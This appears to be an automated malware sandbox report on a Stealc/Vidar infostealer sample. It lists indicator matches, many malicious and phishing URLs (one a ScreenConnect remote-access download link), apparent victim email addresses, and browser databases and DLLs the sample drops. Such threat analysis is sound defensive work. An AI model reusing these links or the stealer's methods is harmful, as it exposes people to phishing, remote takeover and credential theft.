	FW Complete with Docusign Remittance Advice .pdf.eml	Get hash	malicious	Unknown	Browse	104.18.65.57
	file.exe	Get hash	malicious	LummaC	Browse	172.67.180.76
AKAMAI-ASUS	Electronic_Receipt_ATT0001.htm	Get hash	malicious	Unknown	Browse	104.102.38.212
	burlar al diablo napoleon hill pdf.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	burlar al diablo napoleon hill pdf.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	scan1738761_rsalinas@wcctxlaw.com.pdf	Get hash	malicious	HTMLPhisher	Browse	23.38.98.111
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.47.50.146
	na.elf	Get hash	malicious	Mirai	Browse	104.76.63.127
	jew.spc.elf	Get hash	malicious	Mirai	Browse	23.72.69.171
	J4zGPhVRV3.exe	Get hash	malicious	RMSRemoteAdmin	Browse	96.6.160.189
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	23.47.50.140
	Oakville_Service_Update_d76b33a1-3420-40be-babd-e82e253ad25c.pdf	Get hash	malicious	HTMLPhisher	Browse	184.28.88.176

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	5BQwrSLxIZ.exe	Get hash	malicious	Stealc	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	https://deedayoshayoatmetoback.me/whatever/toni/kross/hala/mbappe/sanchez/mark/tremble/awee/rgguuu/us/invite/	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	23.1.237.91
	https://www.google.mx/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=sf_rand_string_mixed(5)FgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%E2%80%8Biw.%C2%ADgc%C2%ADrvn%C2%ADm0.%C2%ADza%C2%AD.c%E2%80%8Bo%C2%ADm%2Ffylee%2Fimages%2Fsf_rand_string_mixed(24)/roger.christenson@steptoe-johnson.com	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.1.237.91
	https://www.google.mx/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=sf_rand_string_mixed(5)FgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%E2%80%8Biw.%C2%ADgc%C2%ADrvn%C2%ADm0.%C2%ADza%C2%AD.c%E2%80%8Bo%C2%ADm%2Ffylee%2Fimages%2Fsf_rand_string_mixed(24)/toto@dgtresor.gouv.fr	Get hash	malicious	Unknown	Browse	23.1.237.91
	http://gameshdlive.net	Get hash	malicious	Unknown	Browse	23.1.237.91
	2025+Policies_645622_929-5.pdf	Get hash	malicious	Unknown	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	http://mhmgc.com/	Get hash	malicious	HTMLPhisher	Browse	4.175.87.197 184.28.90.27 20.190.159.2 13.107.246.45
	http://assets.website-files.com/65f02117700897a29c49fb10/65f7c129cb837c2310c7044e_tisamijujute.pdf	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 20.190.159.2 13.107.246.45
	-Payout Salary Benefits.zip	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	4.175.87.197 184.28.90.27 20.190.159.2 13.107.246.45
	https://dartergary.wordpress.com/	Get hash	malicious	HTMLPhisher	Browse	4.175.87.197 184.28.90.27 20.190.159.2 13.107.246.45
	https://clickme.thryv.com/ls/click?upn=u001.Als7cfHaJU2yMdsJgpsIFmiRUl-2BtxcZ73D3PC6s7dEdSEpNEVf7BmEr33HzpWyzDy2Qc_OEO3HRIZ3eedLymwLhvJt9sqs3j4T3CqpVCO9A0ZKplqH1W1Ad1lCPdQBrRfbSauZPLLCLTYBsXDRt8yGG5FOZ7NK342oFTufTBA9n-2F9XZML5SAWON4OCquRGeOrZOG6X7bKIH2ouDi7O5ssZhkwdV9j8BuAetGO74HzivTb4yjw5AGX5ZMnsGYBS3vBuNNgFYRVSYVxc5dN7eCLDUr43XjgYUZE2GmJzXmN-2BelIHWKsvaOOIeqiW6cnMf2CI6MeEhodwtV2LpZJtWZhkGi5I2rlc08PnxbPlMsOj2Cr9oC-2BCWb9WuPqmZU8rqYD8CNL-2BgY3UElGOq-2BfG3NfYFdrc0Rb11eU0t5G2ihyqzzZVfI-3D#cHNjaG1pdHRAZ3Jpc3Qub3Jn	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 20.190.159.2 13.107.246.45
	https://7654658765888767.azurefd.net/mt92C	Get hash	malicious	HTMLPhisher	Browse	4.175.87.197 184.28.90.27 20.190.159.2 13.107.246.45
	https://forthedoglover.com/Ray-verify.html	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 20.190.159.2 13.107.246.45
	https://cp9856.chelokipotlester.icu/Bin/support.Client.exe?h=cp3back96.site&p=8041&k=BgIAAACkAABSU0ExAAgAAAEAAQB9zMUOcnsRaC12buOM5jB%2F0aQdWfMpUKDaWi13yRXoM16W00nLl4p0ZtEhANoxvmcw0wWFEBncKj1h1Sizr06d2epn5Y1la%2FZuAUNQxVB6zV6MkV%2FQ3PQ8O4IKEUzM%2B1uTT6bVi8cjhVOM7wlYYJcudQAB6Dwlh4JaUc5YEBvhT8MaZnAIYPqnbmxNwUw1RDlaRh5YJbZGPTJPIJpusdEO4D%2FCUtP6CZ%2F6LBYCi1k6apr4NFJdoCsgYMmz0ueWApW6fnSWePa0E3G6vxJQsjXUZXU7nn2pC9y84o5L0uqvKTZ239UPNomZv8wnSyaubzULL%2B48fuhT%2FYi9ukTBmorR&s=5999b697-2fc8-47f6-a1dc-4d0d274c363e&i=Untitled%20Session&e=Support&y=Guest&r=	Get hash	malicious	ScreenConnect Tool	Browse	4.175.87.197 184.28.90.27 20.190.159.2 13.107.246.45
	https://massgrave.dev/get	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 20.190.159.2 13.107.246.45
	FW Complete with Docusign Remittance Advice .pdf.eml	Get hash	malicious	HTMLPhisher	Browse	4.175.87.197 184.28.90.27 20.190.159.2 13.107.246.45

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\chrome.dll	5BQwrSLxIZ.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CFHIIJDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGHJEHJJDAAAKEBGCFCAAAAEHC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAKECAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2650008874660459
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMySAELyKOMq+8yC8F/YfU5m+OlTLVumg:Bq+n0Jy9ELyKOMq+8y9/Ow/
MD5:	EC2D0C067B133953EBAD58285F9E132A
SHA1:	62CDBA7E7CDFCC1DC134394D8008A7A48AD45198
SHA-256:	8AC0AC1A9117890FFA8020D8C3222CB80E44484405B6D868FE749AD16E7A7BD6
SHA-512:	4F4ABD275400ED71371C21A6D57E44EDA79CA672E3F205F30FD0F53023E1A7369A32BC8C9BAA646DD2F68FC6F74A0F8954146C1E25B6C733E0AEE57B8D6633C1
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDAAKFIDGIEGDGDHIDAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\HJKJKKKJJJKJKFHJJJJECBFCGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IECGHJKKJDHIEBFHCAKE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDHIEBFHCAKEHIDGHCBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 5BQwrSLxIZ.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 2DpxPyeiUv.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: JVLkkfzSKW.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4c549b71-3f7c-4be6-ba39-455e45ac3d27.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44608
Entropy (8bit):	6.095945004904046
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB4wuzhDO6vP6O81x9CPa4nxmGKxmrFMcGoup1Xl34:z/Ps+wsI7ynEL6kLAOchu3VlXr4CRo1
MD5:	456D7B3F9A3B62248AF8EA9C9D9312EE
SHA1:	A2A3E9B6EFB9B779D91CA6CC6680B4FF37F2E310
SHA-256:	F3DDEA22A907CD5130D50CE326037B55266A582878325E7C3DEB0A781686AEEE
SHA-512:	2B944D8AA28BF58E456909A005FD9E8DF1C5E7B1AC6A1B5D20E67224B65188DEE276DBB5E8B04B12EAD35AF25748F70AC3B63F9949168E6DEBE526B03CFA87C6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\824de9c2-5b30-413b-a7d8-fe4a78338781.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090706644680187
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMhwuF9hDO6vP6O+vtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEF66tbz8hu3VlXr4CRo1
MD5:	2D16DFAD0966D10071FA1D35949A85D7
SHA1:	27ADADA8ABBFF8AB0340BB221087BE8B05499F45
SHA-256:	79BA3ECE6A7DA08591CB4FBA488B10FB7F91D2F0E991D72551DFEA8E0F5DEA9B
SHA-512:	34325E445370C036598AF17CE53A0832C318827586B965315C837F23904AF9D8A2E310FE252CBA62F9502FF5FF0622A1ACF73DF6C3003D481E97BDF55B923805
Malicious:	false
